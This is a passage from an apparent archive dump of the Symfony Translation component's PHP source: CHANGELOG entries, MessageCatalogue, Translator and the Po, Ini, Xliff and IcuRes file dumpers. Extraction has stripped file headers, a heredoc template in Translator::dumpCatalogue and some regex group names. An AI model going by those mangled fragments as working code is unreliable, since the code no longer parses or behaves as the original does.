section. * Added `TranslationWriterInterface` * Deprecated `TranslationWriter::writeTranslations` in favor of `TranslationWriter::write` * added support for adding custom message formatter and decoupling the default one. * Added `PhpExtractor` * Added `PhpStringTokenParser` 3.2.0 ----- * Added support for escaping `|` in plural translations with double pipe. 3.1.0 ----- * Deprecated the backup feature of the file dumper classes. 3.0.0 ----- * removed `FileDumper::format()` method. * Changed the visibility of the locale property in `Translator` from protected to private. 2.8.0 ----- * deprecated FileDumper::format(), overwrite FileDumper::formatCatalogue() instead. * deprecated Translator::getMessages(), rely on TranslatorBagInterface::getCatalogue() instead. * added `FileDumper::formatCatalogue` which allows format the catalogue without dumping it into file. * added option `json_encoding` to JsonFileDumper * added options `as_tree`, `inline` to YamlFileDumper * added support for XLIFF 2.0. * added support for XLIFF target and tool attributes. * added message parameters to DataCollectorTranslator. * [DEPRECATION] The `DiffOperation` class has been deprecated and will be removed in Symfony 3.0, since its operation has nothing to do with 'diff', so the class name is misleading. The `TargetOperation` class should be used for this use-case instead. 2.7.0 ----- * added DataCollectorTranslator for collecting the translated messages. 2.6.0 ----- * added possibility to cache catalogues * added TranslatorBagInterface * added LoggingTranslator * added Translator::getMessages() for retrieving the message catalogue as an array 2.5.0 ----- * added relative file path template to the file dumpers * added optional backup to the file dumpers * changed IcuResFileDumper to extend FileDumper 2.3.0 ----- * added classes to make operations on catalogues (like making a diff or a merge on 2 catalogues) * added Translator::getFallbackLocales() * deprecated Translator::setFallbackLocale() in favor of the new Translator::setFallbackLocales() method 2.2.0 ----- * QtTranslationsLoader class renamed to QtFileLoader. QtTranslationsLoader is deprecated and will be removed in 2.3. * [BC BREAK] uniformized the exception thrown by the load() method when an error occurs. The load() method now throws Symfony\Component\Translation\Exception\NotFoundResourceException when a resource cannot be found and Symfony\Component\Translation\Exception\InvalidResourceException when a resource is invalid. * changed the exception class thrown by some load() methods from \RuntimeException to \InvalidArgumentException (IcuDatFileLoader, IcuResFileLoader and QtFileLoader) 2.1.0 ----- * added support for more than one fallback locale * added support for extracting translation messages from templates (Twig and PHP) * added dumpers for translation catalogs * added support for QT, gettext, and ResourceBundles translation/MessageCatalogue.php000064400000023472151113512150013027 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; use Symfony\Component\Config\Resource\ResourceInterface; use Symfony\Component\Translation\Exception\LogicException; /** * @author Fabien Potencier */ class MessageCatalogue implements MessageCatalogueInterface, MetadataAwareInterface, CatalogueMetadataAwareInterface { private array $messages = []; private array $metadata = []; private array $catalogueMetadata = []; private array $resources = []; private string $locale; private ?MessageCatalogueInterface $fallbackCatalogue = null; private ?self $parent = null; /** * @param array $messages An array of messages classified by domain */ public function __construct(string $locale, array $messages = []) { $this->locale = $locale; $this->messages = $messages; } public function getLocale(): string { return $this->locale; } public function getDomains(): array { $domains = []; foreach ($this->messages as $domain => $messages) { if (str_ends_with($domain, self::INTL_DOMAIN_SUFFIX)) { $domain = substr($domain, 0, -\strlen(self::INTL_DOMAIN_SUFFIX)); } $domains[$domain] = $domain; } return array_values($domains); } public function all(string $domain = null): array { if (null !== $domain) { // skip messages merge if intl-icu requested explicitly if (str_ends_with($domain, self::INTL_DOMAIN_SUFFIX)) { return $this->messages[$domain] ?? []; } return ($this->messages[$domain.self::INTL_DOMAIN_SUFFIX] ?? []) + ($this->messages[$domain] ?? []); } $allMessages = []; foreach ($this->messages as $domain => $messages) { if (str_ends_with($domain, self::INTL_DOMAIN_SUFFIX)) { $domain = substr($domain, 0, -\strlen(self::INTL_DOMAIN_SUFFIX)); $allMessages[$domain] = $messages + ($allMessages[$domain] ?? []); } else { $allMessages[$domain] = ($allMessages[$domain] ?? []) + $messages; } } return $allMessages; } /** * @return void */ public function set(string $id, string $translation, string $domain = 'messages') { $this->add([$id => $translation], $domain); } public function has(string $id, string $domain = 'messages'): bool { if (isset($this->messages[$domain][$id]) || isset($this->messages[$domain.self::INTL_DOMAIN_SUFFIX][$id])) { return true; } if (null !== $this->fallbackCatalogue) { return $this->fallbackCatalogue->has($id, $domain); } return false; } public function defines(string $id, string $domain = 'messages'): bool { return isset($this->messages[$domain][$id]) || isset($this->messages[$domain.self::INTL_DOMAIN_SUFFIX][$id]); } public function get(string $id, string $domain = 'messages'): string { if (isset($this->messages[$domain.self::INTL_DOMAIN_SUFFIX][$id])) { return $this->messages[$domain.self::INTL_DOMAIN_SUFFIX][$id]; } if (isset($this->messages[$domain][$id])) { return $this->messages[$domain][$id]; } if (null !== $this->fallbackCatalogue) { return $this->fallbackCatalogue->get($id, $domain); } return $id; } /** * @return void */ public function replace(array $messages, string $domain = 'messages') { unset($this->messages[$domain], $this->messages[$domain.self::INTL_DOMAIN_SUFFIX]); $this->add($messages, $domain); } /** * @return void */ public function add(array $messages, string $domain = 'messages') { $altDomain = str_ends_with($domain, self::INTL_DOMAIN_SUFFIX) ? substr($domain, 0, -\strlen(self::INTL_DOMAIN_SUFFIX)) : $domain.self::INTL_DOMAIN_SUFFIX; foreach ($messages as $id => $message) { unset($this->messages[$altDomain][$id]); $this->messages[$domain][$id] = $message; } if ([] === ($this->messages[$altDomain] ?? null)) { unset($this->messages[$altDomain]); } } /** * @return void */ public function addCatalogue(MessageCatalogueInterface $catalogue) { if ($catalogue->getLocale() !== $this->locale) { throw new LogicException(sprintf('Cannot add a catalogue for locale "%s" as the current locale for this catalogue is "%s".', $catalogue->getLocale(), $this->locale)); } foreach ($catalogue->all() as $domain => $messages) { if ($intlMessages = $catalogue->all($domain.self::INTL_DOMAIN_SUFFIX)) { $this->add($intlMessages, $domain.self::INTL_DOMAIN_SUFFIX); $messages = array_diff_key($messages, $intlMessages); } $this->add($messages, $domain); } foreach ($catalogue->getResources() as $resource) { $this->addResource($resource); } if ($catalogue instanceof MetadataAwareInterface) { $metadata = $catalogue->getMetadata('', ''); $this->addMetadata($metadata); } if ($catalogue instanceof CatalogueMetadataAwareInterface) { $catalogueMetadata = $catalogue->getCatalogueMetadata('', ''); $this->addCatalogueMetadata($catalogueMetadata); } } /** * @return void */ public function addFallbackCatalogue(MessageCatalogueInterface $catalogue) { // detect circular references $c = $catalogue; while ($c = $c->getFallbackCatalogue()) { if ($c->getLocale() === $this->getLocale()) { throw new LogicException(sprintf('Circular reference detected when adding a fallback catalogue for locale "%s".', $catalogue->getLocale())); } } $c = $this; do { if ($c->getLocale() === $catalogue->getLocale()) { throw new LogicException(sprintf('Circular reference detected when adding a fallback catalogue for locale "%s".', $catalogue->getLocale())); } foreach ($catalogue->getResources() as $resource) { $c->addResource($resource); } } while ($c = $c->parent); $catalogue->parent = $this; $this->fallbackCatalogue = $catalogue; foreach ($catalogue->getResources() as $resource) { $this->addResource($resource); } } public function getFallbackCatalogue(): ?MessageCatalogueInterface { return $this->fallbackCatalogue; } public function getResources(): array { return array_values($this->resources); } /** * @return void */ public function addResource(ResourceInterface $resource) { $this->resources[$resource->__toString()] = $resource; } public function getMetadata(string $key = '', string $domain = 'messages'): mixed { if ('' == $domain) { return $this->metadata; } if (isset($this->metadata[$domain])) { if ('' == $key) { return $this->metadata[$domain]; } if (isset($this->metadata[$domain][$key])) { return $this->metadata[$domain][$key]; } } return null; } /** * @return void */ public function setMetadata(string $key, mixed $value, string $domain = 'messages') { $this->metadata[$domain][$key] = $value; } /** * @return void */ public function deleteMetadata(string $key = '', string $domain = 'messages') { if ('' == $domain) { $this->metadata = []; } elseif ('' == $key) { unset($this->metadata[$domain]); } else { unset($this->metadata[$domain][$key]); } } public function getCatalogueMetadata(string $key = '', string $domain = 'messages'): mixed { if (!$domain) { return $this->catalogueMetadata; } if (isset($this->catalogueMetadata[$domain])) { if (!$key) { return $this->catalogueMetadata[$domain]; } if (isset($this->catalogueMetadata[$domain][$key])) { return $this->catalogueMetadata[$domain][$key]; } } return null; } /** * @return void */ public function setCatalogueMetadata(string $key, mixed $value, string $domain = 'messages') { $this->catalogueMetadata[$domain][$key] = $value; } /** * @return void */ public function deleteCatalogueMetadata(string $key = '', string $domain = 'messages') { if (!$domain) { $this->catalogueMetadata = []; } elseif (!$key) { unset($this->catalogueMetadata[$domain]); } else { unset($this->catalogueMetadata[$domain][$key]); } } /** * Adds current values with the new values. * * @param array $values Values to add */ private function addMetadata(array $values): void { foreach ($values as $domain => $keys) { foreach ($keys as $key => $value) { $this->setMetadata($key, $value, $domain); } } } private function addCatalogueMetadata(array $values): void { foreach ($values as $domain => $keys) { foreach ($keys as $key => $value) { $this->setCatalogueMetadata($key, $value, $domain); } } } } translation/MetadataAwareInterface.php000064400000002612151113512150014130 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; /** * This interface is used to get, set, and delete metadata about the translation messages. * * @author Fabien Potencier */ interface MetadataAwareInterface { /** * Gets metadata for the given domain and key. * * Passing an empty domain will return an array with all metadata indexed by * domain and then by key. Passing an empty key will return an array with all * metadata for the given domain. * * @return mixed The value that was set or an array with the domains/keys or null */ public function getMetadata(string $key = '', string $domain = 'messages'): mixed; /** * Adds metadata to a message domain. * * @return void */ public function setMetadata(string $key, mixed $value, string $domain = 'messages'); /** * Deletes metadata for the given key and domain. * * Passing an empty domain will delete all metadata. Passing an empty key will * delete all metadata for the given domain. * * @return void */ public function deleteMetadata(string $key = '', string $domain = 'messages'); } translation/Translator.php000064400000034152151113512150011744 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; use Symfony\Component\Config\ConfigCacheFactory; use Symfony\Component\Config\ConfigCacheFactoryInterface; use Symfony\Component\Config\ConfigCacheInterface; use Symfony\Component\Translation\Exception\InvalidArgumentException; use Symfony\Component\Translation\Exception\NotFoundResourceException; use Symfony\Component\Translation\Exception\RuntimeException; use Symfony\Component\Translation\Formatter\IntlFormatterInterface; use Symfony\Component\Translation\Formatter\MessageFormatter; use Symfony\Component\Translation\Formatter\MessageFormatterInterface; use Symfony\Component\Translation\Loader\LoaderInterface; use Symfony\Contracts\Translation\LocaleAwareInterface; use Symfony\Contracts\Translation\TranslatableInterface; use Symfony\Contracts\Translation\TranslatorInterface; // Help opcache.preload discover always-needed symbols class_exists(MessageCatalogue::class); /** * @author Fabien Potencier */ class Translator implements TranslatorInterface, TranslatorBagInterface, LocaleAwareInterface { /** * @var MessageCatalogueInterface[] */ protected $catalogues = []; private string $locale; /** * @var string[] */ private array $fallbackLocales = []; /** * @var LoaderInterface[] */ private array $loaders = []; private array $resources = []; private MessageFormatterInterface $formatter; private ?string $cacheDir; private bool $debug; private array $cacheVary; private ?ConfigCacheFactoryInterface $configCacheFactory; private array $parentLocales; private bool $hasIntlFormatter; /** * @throws InvalidArgumentException If a locale contains invalid characters */ public function __construct(string $locale, MessageFormatterInterface $formatter = null, string $cacheDir = null, bool $debug = false, array $cacheVary = []) { $this->setLocale($locale); $this->formatter = $formatter ??= new MessageFormatter(); $this->cacheDir = $cacheDir; $this->debug = $debug; $this->cacheVary = $cacheVary; $this->hasIntlFormatter = $formatter instanceof IntlFormatterInterface; } /** * @return void */ public function setConfigCacheFactory(ConfigCacheFactoryInterface $configCacheFactory) { $this->configCacheFactory = $configCacheFactory; } /** * Adds a Loader. * * @param string $format The name of the loader (@see addResource()) * * @return void */ public function addLoader(string $format, LoaderInterface $loader) { $this->loaders[$format] = $loader; } /** * Adds a Resource. * * @param string $format The name of the loader (@see addLoader()) * @param mixed $resource The resource name * * @return void * * @throws InvalidArgumentException If the locale contains invalid characters */ public function addResource(string $format, mixed $resource, string $locale, string $domain = null) { $domain ??= 'messages'; $this->assertValidLocale($locale); $locale ?: $locale = class_exists(\Locale::class) ? \Locale::getDefault() : 'en'; $this->resources[$locale][] = [$format, $resource, $domain]; if (\in_array($locale, $this->fallbackLocales)) { $this->catalogues = []; } else { unset($this->catalogues[$locale]); } } /** * @return void */ public function setLocale(string $locale) { $this->assertValidLocale($locale); $this->locale = $locale; } public function getLocale(): string { return $this->locale ?: (class_exists(\Locale::class) ? \Locale::getDefault() : 'en'); } /** * Sets the fallback locales. * * @param string[] $locales * * @return void * * @throws InvalidArgumentException If a locale contains invalid characters */ public function setFallbackLocales(array $locales) { // needed as the fallback locales are linked to the already loaded catalogues $this->catalogues = []; foreach ($locales as $locale) { $this->assertValidLocale($locale); } $this->fallbackLocales = $this->cacheVary['fallback_locales'] = $locales; } /** * Gets the fallback locales. * * @internal */ public function getFallbackLocales(): array { return $this->fallbackLocales; } public function trans(?string $id, array $parameters = [], string $domain = null, string $locale = null): string { if (null === $id || '' === $id) { return ''; } $domain ??= 'messages'; $catalogue = $this->getCatalogue($locale); $locale = $catalogue->getLocale(); while (!$catalogue->defines($id, $domain)) { if ($cat = $catalogue->getFallbackCatalogue()) { $catalogue = $cat; $locale = $catalogue->getLocale(); } else { break; } } $parameters = array_map(fn ($parameter) => $parameter instanceof TranslatableInterface ? $parameter->trans($this, $locale) : $parameter, $parameters); $len = \strlen(MessageCatalogue::INTL_DOMAIN_SUFFIX); if ($this->hasIntlFormatter && ($catalogue->defines($id, $domain.MessageCatalogue::INTL_DOMAIN_SUFFIX) || (\strlen($domain) > $len && 0 === substr_compare($domain, MessageCatalogue::INTL_DOMAIN_SUFFIX, -$len, $len))) ) { return $this->formatter->formatIntl($catalogue->get($id, $domain), $locale, $parameters); } return $this->formatter->format($catalogue->get($id, $domain), $locale, $parameters); } public function getCatalogue(string $locale = null): MessageCatalogueInterface { if (!$locale) { $locale = $this->getLocale(); } else { $this->assertValidLocale($locale); } if (!isset($this->catalogues[$locale])) { $this->loadCatalogue($locale); } return $this->catalogues[$locale]; } public function getCatalogues(): array { return array_values($this->catalogues); } /** * Gets the loaders. * * @return LoaderInterface[] */ protected function getLoaders(): array { return $this->loaders; } /** * @return void */ protected function loadCatalogue(string $locale) { if (null === $this->cacheDir) { $this->initializeCatalogue($locale); } else { $this->initializeCacheCatalogue($locale); } } /** * @return void */ protected function initializeCatalogue(string $locale) { $this->assertValidLocale($locale); try { $this->doLoadCatalogue($locale); } catch (NotFoundResourceException $e) { if (!$this->computeFallbackLocales($locale)) { throw $e; } } $this->loadFallbackCatalogues($locale); } private function initializeCacheCatalogue(string $locale): void { if (isset($this->catalogues[$locale])) { /* Catalogue already initialized. */ return; } $this->assertValidLocale($locale); $cache = $this->getConfigCacheFactory()->cache($this->getCatalogueCachePath($locale), function (ConfigCacheInterface $cache) use ($locale) { $this->dumpCatalogue($locale, $cache); } ); if (isset($this->catalogues[$locale])) { /* Catalogue has been initialized as it was written out to cache. */ return; } /* Read catalogue from cache. */ $this->catalogues[$locale] = include $cache->getPath(); } private function dumpCatalogue(string $locale, ConfigCacheInterface $cache): void { $this->initializeCatalogue($locale); $fallbackContent = $this->getFallbackContent($this->catalogues[$locale]); $content = sprintf(<<getAllMessages($this->catalogues[$locale]), true), $fallbackContent ); $cache->write($content, $this->catalogues[$locale]->getResources()); } private function getFallbackContent(MessageCatalogue $catalogue): string { $fallbackContent = ''; $current = ''; $replacementPattern = '/[^a-z0-9_]/i'; $fallbackCatalogue = $catalogue->getFallbackCatalogue(); while ($fallbackCatalogue) { $fallback = $fallbackCatalogue->getLocale(); $fallbackSuffix = ucfirst(preg_replace($replacementPattern, '_', $fallback)); $currentSuffix = ucfirst(preg_replace($replacementPattern, '_', $current)); $fallbackContent .= sprintf(<<<'EOF' $catalogue%s = new MessageCatalogue('%s', %s); $catalogue%s->addFallbackCatalogue($catalogue%s); EOF , $fallbackSuffix, $fallback, var_export($this->getAllMessages($fallbackCatalogue), true), $currentSuffix, $fallbackSuffix ); $current = $fallbackCatalogue->getLocale(); $fallbackCatalogue = $fallbackCatalogue->getFallbackCatalogue(); } return $fallbackContent; } private function getCatalogueCachePath(string $locale): string { return $this->cacheDir.'/catalogue.'.$locale.'.'.strtr(substr(base64_encode(hash('sha256', serialize($this->cacheVary), true)), 0, 7), '/', '_').'.php'; } /** * @internal */ protected function doLoadCatalogue(string $locale): void { $this->catalogues[$locale] = new MessageCatalogue($locale); if (isset($this->resources[$locale])) { foreach ($this->resources[$locale] as $resource) { if (!isset($this->loaders[$resource[0]])) { if (\is_string($resource[1])) { throw new RuntimeException(sprintf('No loader is registered for the "%s" format when loading the "%s" resource.', $resource[0], $resource[1])); } throw new RuntimeException(sprintf('No loader is registered for the "%s" format.', $resource[0])); } $this->catalogues[$locale]->addCatalogue($this->loaders[$resource[0]]->load($resource[1], $locale, $resource[2])); } } } private function loadFallbackCatalogues(string $locale): void { $current = $this->catalogues[$locale]; foreach ($this->computeFallbackLocales($locale) as $fallback) { if (!isset($this->catalogues[$fallback])) { $this->initializeCatalogue($fallback); } $fallbackCatalogue = new MessageCatalogue($fallback, $this->getAllMessages($this->catalogues[$fallback])); foreach ($this->catalogues[$fallback]->getResources() as $resource) { $fallbackCatalogue->addResource($resource); } $current->addFallbackCatalogue($fallbackCatalogue); $current = $fallbackCatalogue; } } /** * @return array */ protected function computeFallbackLocales(string $locale) { $this->parentLocales ??= json_decode(file_get_contents(__DIR__.'/Resources/data/parents.json'), true); $originLocale = $locale; $locales = []; while ($locale) { $parent = $this->parentLocales[$locale] ?? null; if ($parent) { $locale = 'root' !== $parent ? $parent : null; } elseif (\function_exists('locale_parse')) { $localeSubTags = locale_parse($locale); $locale = null; if (1 < \count($localeSubTags)) { array_pop($localeSubTags); $locale = locale_compose($localeSubTags) ?: null; } } elseif ($i = strrpos($locale, '_') ?: strrpos($locale, '-')) { $locale = substr($locale, 0, $i); } else { $locale = null; } if (null !== $locale) { $locales[] = $locale; } } foreach ($this->fallbackLocales as $fallback) { if ($fallback === $originLocale) { continue; } $locales[] = $fallback; } return array_unique($locales); } /** * Asserts that the locale is valid, throws an Exception if not. * * @return void * * @throws InvalidArgumentException If the locale contains invalid characters */ protected function assertValidLocale(string $locale) { if (!preg_match('/^[a-z0-9@_\\.\\-]*$/i', $locale)) { throw new InvalidArgumentException(sprintf('Invalid "%s" locale.', $locale)); } } /** * Provides the ConfigCache factory implementation, falling back to a * default implementation if necessary. */ private function getConfigCacheFactory(): ConfigCacheFactoryInterface { $this->configCacheFactory ??= new ConfigCacheFactory($this->debug); return $this->configCacheFactory; } private function getAllMessages(MessageCatalogueInterface $catalogue): array { $allMessages = []; foreach ($catalogue->all() as $domain => $messages) { if ($intlMessages = $catalogue->all($domain.MessageCatalogue::INTL_DOMAIN_SUFFIX)) { $allMessages[$domain.MessageCatalogue::INTL_DOMAIN_SUFFIX] = $intlMessages; $messages = array_diff_key($messages, $intlMessages); } if ($messages) { $allMessages[$domain] = $messages; } } return $allMessages; } } translation/Dumper/PoFileDumper.php000064400000007623151113512150013405 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\MessageCatalogue; /** * PoFileDumper generates a gettext formatted string representation of a message catalogue. * * @author Stealth35 */ class PoFileDumper extends FileDumper { public function formatCatalogue(MessageCatalogue $messages, string $domain, array $options = []): string { $output = 'msgid ""'."\n"; $output .= 'msgstr ""'."\n"; $output .= '"Content-Type: text/plain; charset=UTF-8\n"'."\n"; $output .= '"Content-Transfer-Encoding: 8bit\n"'."\n"; $output .= '"Language: '.$messages->getLocale().'\n"'."\n"; $output .= "\n"; $newLine = false; foreach ($messages->all($domain) as $source => $target) { if ($newLine) { $output .= "\n"; } else { $newLine = true; } $metadata = $messages->getMetadata($source, $domain); if (isset($metadata['comments'])) { $output .= $this->formatComments($metadata['comments']); } if (isset($metadata['flags'])) { $output .= $this->formatComments(implode(',', (array) $metadata['flags']), ','); } if (isset($metadata['sources'])) { $output .= $this->formatComments(implode(' ', (array) $metadata['sources']), ':'); } $sourceRules = $this->getStandardRules($source); $targetRules = $this->getStandardRules($target); if (2 == \count($sourceRules) && [] !== $targetRules) { $output .= sprintf('msgid "%s"'."\n", $this->escape($sourceRules[0])); $output .= sprintf('msgid_plural "%s"'."\n", $this->escape($sourceRules[1])); foreach ($targetRules as $i => $targetRule) { $output .= sprintf('msgstr[%d] "%s"'."\n", $i, $this->escape($targetRule)); } } else { $output .= sprintf('msgid "%s"'."\n", $this->escape($source)); $output .= sprintf('msgstr "%s"'."\n", $this->escape($target)); } } return $output; } private function getStandardRules(string $id): array { // Partly copied from TranslatorTrait::trans. $parts = []; if (preg_match('/^\|++$/', $id)) { $parts = explode('|', $id); } elseif (preg_match_all('/(?:\|\||[^\|])++/', $id, $matches)) { $parts = $matches[0]; } $intervalRegexp = <<<'EOF' /^(?P ({\s* (\-?\d+(\.\d+)?[\s*,\s*\-?\d+(\.\d+)?]*) \s*}) | (?P[\[\]]) \s* (?P-Inf|\-?\d+(\.\d+)?) \s*,\s* (?P\+?Inf|\-?\d+(\.\d+)?) \s* (?P[\[\]]) )\s*(?P.*?)$/xs EOF; $standardRules = []; foreach ($parts as $part) { $part = trim(str_replace('||', '|', $part)); if (preg_match($intervalRegexp, $part)) { // Explicit rule is not a standard rule. return []; } else { $standardRules[] = $part; } } return $standardRules; } protected function getExtension(): string { return 'po'; } private function escape(string $str): string { return addcslashes($str, "\0..\37\42\134"); } private function formatComments(string|array $comments, string $prefix = ''): ?string { $output = null; foreach ((array) $comments as $comment) { $output .= sprintf('#%s %s'."\n", $prefix, $comment); } return $output; } } translation/Dumper/IniFileDumper.php000064400000001666151113512150013547 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\MessageCatalogue; /** * IniFileDumper generates an ini formatted string representation of a message catalogue. * * @author Stealth35 */ class IniFileDumper extends FileDumper { public function formatCatalogue(MessageCatalogue $messages, string $domain, array $options = []): string { $output = ''; foreach ($messages->all($domain) as $source => $target) { $escapeTarget = str_replace('"', '\"', $target); $output .= $source.'="'.$escapeTarget."\"\n"; } return $output; } protected function getExtension(): string { return 'ini'; } } translation/Dumper/XliffFileDumper.php000064400000021613151113512150014072 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\Exception\InvalidArgumentException; use Symfony\Component\Translation\MessageCatalogue; /** * XliffFileDumper generates xliff files from a message catalogue. * * @author Michel Salib */ class XliffFileDumper extends FileDumper { public function __construct( private string $extension = 'xlf', ) { } public function formatCatalogue(MessageCatalogue $messages, string $domain, array $options = []): string { $xliffVersion = '1.2'; if (\array_key_exists('xliff_version', $options)) { $xliffVersion = $options['xliff_version']; } if (\array_key_exists('default_locale', $options)) { $defaultLocale = $options['default_locale']; } else { $defaultLocale = \Locale::getDefault(); } if ('1.2' === $xliffVersion) { return $this->dumpXliff1($defaultLocale, $messages, $domain, $options); } if ('2.0' === $xliffVersion) { return $this->dumpXliff2($defaultLocale, $messages, $domain); } throw new InvalidArgumentException(sprintf('No support implemented for dumping XLIFF version "%s".', $xliffVersion)); } protected function getExtension(): string { return $this->extension; } private function dumpXliff1(string $defaultLocale, MessageCatalogue $messages, ?string $domain, array $options = []): string { $toolInfo = ['tool-id' => 'symfony', 'tool-name' => 'Symfony']; if (\array_key_exists('tool_info', $options)) { $toolInfo = array_merge($toolInfo, $options['tool_info']); } $dom = new \DOMDocument('1.0', 'utf-8'); $dom->formatOutput = true; $xliff = $dom->appendChild($dom->createElement('xliff')); $xliff->setAttribute('version', '1.2'); $xliff->setAttribute('xmlns', 'urn:oasis:names:tc:xliff:document:1.2'); $xliffFile = $xliff->appendChild($dom->createElement('file')); $xliffFile->setAttribute('source-language', str_replace('_', '-', $defaultLocale)); $xliffFile->setAttribute('target-language', str_replace('_', '-', $messages->getLocale())); $xliffFile->setAttribute('datatype', 'plaintext'); $xliffFile->setAttribute('original', 'file.ext'); $xliffHead = $xliffFile->appendChild($dom->createElement('header')); $xliffTool = $xliffHead->appendChild($dom->createElement('tool')); foreach ($toolInfo as $id => $value) { $xliffTool->setAttribute($id, $value); } if ($catalogueMetadata = $messages->getCatalogueMetadata('', $domain) ?? []) { $xliffPropGroup = $xliffHead->appendChild($dom->createElement('prop-group')); foreach ($catalogueMetadata as $key => $value) { $xliffProp = $xliffPropGroup->appendChild($dom->createElement('prop')); $xliffProp->setAttribute('prop-type', $key); $xliffProp->appendChild($dom->createTextNode($value)); } } $xliffBody = $xliffFile->appendChild($dom->createElement('body')); foreach ($messages->all($domain) as $source => $target) { $translation = $dom->createElement('trans-unit'); $translation->setAttribute('id', strtr(substr(base64_encode(hash('sha256', $source, true)), 0, 7), '/+', '._')); $translation->setAttribute('resname', $source); $s = $translation->appendChild($dom->createElement('source')); $s->appendChild($dom->createTextNode($source)); // Does the target contain characters requiring a CDATA section? $text = 1 === preg_match('/[&<>]/', $target) ? $dom->createCDATASection($target) : $dom->createTextNode($target); $targetElement = $dom->createElement('target'); $metadata = $messages->getMetadata($source, $domain); if ($this->hasMetadataArrayInfo('target-attributes', $metadata)) { foreach ($metadata['target-attributes'] as $name => $value) { $targetElement->setAttribute($name, $value); } } $t = $translation->appendChild($targetElement); $t->appendChild($text); if ($this->hasMetadataArrayInfo('notes', $metadata)) { foreach ($metadata['notes'] as $note) { if (!isset($note['content'])) { continue; } $n = $translation->appendChild($dom->createElement('note')); $n->appendChild($dom->createTextNode($note['content'])); if (isset($note['priority'])) { $n->setAttribute('priority', $note['priority']); } if (isset($note['from'])) { $n->setAttribute('from', $note['from']); } } } $xliffBody->appendChild($translation); } return $dom->saveXML(); } private function dumpXliff2(string $defaultLocale, MessageCatalogue $messages, ?string $domain): string { $dom = new \DOMDocument('1.0', 'utf-8'); $dom->formatOutput = true; $xliff = $dom->appendChild($dom->createElement('xliff')); $xliff->setAttribute('xmlns', 'urn:oasis:names:tc:xliff:document:2.0'); $xliff->setAttribute('version', '2.0'); $xliff->setAttribute('srcLang', str_replace('_', '-', $defaultLocale)); $xliff->setAttribute('trgLang', str_replace('_', '-', $messages->getLocale())); $xliffFile = $xliff->appendChild($dom->createElement('file')); if (str_ends_with($domain, MessageCatalogue::INTL_DOMAIN_SUFFIX)) { $xliffFile->setAttribute('id', substr($domain, 0, -\strlen(MessageCatalogue::INTL_DOMAIN_SUFFIX)).'.'.$messages->getLocale()); } else { $xliffFile->setAttribute('id', $domain.'.'.$messages->getLocale()); } if ($catalogueMetadata = $messages->getCatalogueMetadata('', $domain) ?? []) { $xliff->setAttribute('xmlns:m', 'urn:oasis:names:tc:xliff:metadata:2.0'); $xliffMetadata = $xliffFile->appendChild($dom->createElement('m:metadata')); foreach ($catalogueMetadata as $key => $value) { $xliffMeta = $xliffMetadata->appendChild($dom->createElement('prop')); $xliffMeta->setAttribute('type', $key); $xliffMeta->appendChild($dom->createTextNode($value)); } } foreach ($messages->all($domain) as $source => $target) { $translation = $dom->createElement('unit'); $translation->setAttribute('id', strtr(substr(base64_encode(hash('sha256', $source, true)), 0, 7), '/+', '._')); if (\strlen($source) <= 80) { $translation->setAttribute('name', $source); } $metadata = $messages->getMetadata($source, $domain); // Add notes section if ($this->hasMetadataArrayInfo('notes', $metadata)) { $notesElement = $dom->createElement('notes'); foreach ($metadata['notes'] as $note) { $n = $dom->createElement('note'); $n->appendChild($dom->createTextNode($note['content'] ?? '')); unset($note['content']); foreach ($note as $name => $value) { $n->setAttribute($name, $value); } $notesElement->appendChild($n); } $translation->appendChild($notesElement); } $segment = $translation->appendChild($dom->createElement('segment')); $s = $segment->appendChild($dom->createElement('source')); $s->appendChild($dom->createTextNode($source)); // Does the target contain characters requiring a CDATA section? $text = 1 === preg_match('/[&<>]/', $target) ? $dom->createCDATASection($target) : $dom->createTextNode($target); $targetElement = $dom->createElement('target'); if ($this->hasMetadataArrayInfo('target-attributes', $metadata)) { foreach ($metadata['target-attributes'] as $name => $value) { $targetElement->setAttribute($name, $value); } } $t = $segment->appendChild($targetElement); $t->appendChild($text); $xliffFile->appendChild($translation); } return $dom->saveXML(); } private function hasMetadataArrayInfo(string $key, array $metadata = null): bool { return is_iterable($metadata[$key] ?? null); } } translation/Dumper/IcuResFileDumper.php000064400000005526151113512150014221 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\MessageCatalogue; /** * IcuResDumper generates an ICU ResourceBundle formatted string representation of a message catalogue. * * @author Stealth35 */ class IcuResFileDumper extends FileDumper { protected $relativePathTemplate = '%domain%/%locale%.%extension%'; public function formatCatalogue(MessageCatalogue $messages, string $domain, array $options = []): string { $data = $indexes = $resources = ''; foreach ($messages->all($domain) as $source => $target) { $indexes .= pack('v', \strlen($data) + 28); $data .= $source."\0"; } $data .= $this->writePadding($data); $keyTop = $this->getPosition($data); foreach ($messages->all($domain) as $source => $target) { $resources .= pack('V', $this->getPosition($data)); $data .= pack('V', \strlen($target)) .mb_convert_encoding($target."\0", 'UTF-16LE', 'UTF-8') .$this->writePadding($data) ; } $resOffset = $this->getPosition($data); $data .= pack('v', \count($messages->all($domain))) .$indexes .$this->writePadding($data) .$resources ; $bundleTop = $this->getPosition($data); $root = pack('V7', $resOffset + (2 << 28), // Resource Offset + Resource Type 6, // Index length $keyTop, // Index keys top $bundleTop, // Index resources top $bundleTop, // Index bundle top \count($messages->all($domain)), // Index max table length 0 // Index attributes ); $header = pack('vC2v4C12@32', 32, // Header size 0xDA, 0x27, // Magic number 1 and 2 20, 0, 0, 2, // Rest of the header, ..., Size of a char 0x52, 0x65, 0x73, 0x42, // Data format identifier 1, 2, 0, 0, // Data version 1, 4, 0, 0 // Unicode version ); return $header.$root.$data; } private function writePadding(string $data): ?string { $padding = \strlen($data) % 4; return $padding ? str_repeat("\xAA", 4 - $padding) : null; } private function getPosition(string $data): float|int { return (\strlen($data) + 28) / 4; } protected function getExtension(): string { return 'res'; } } 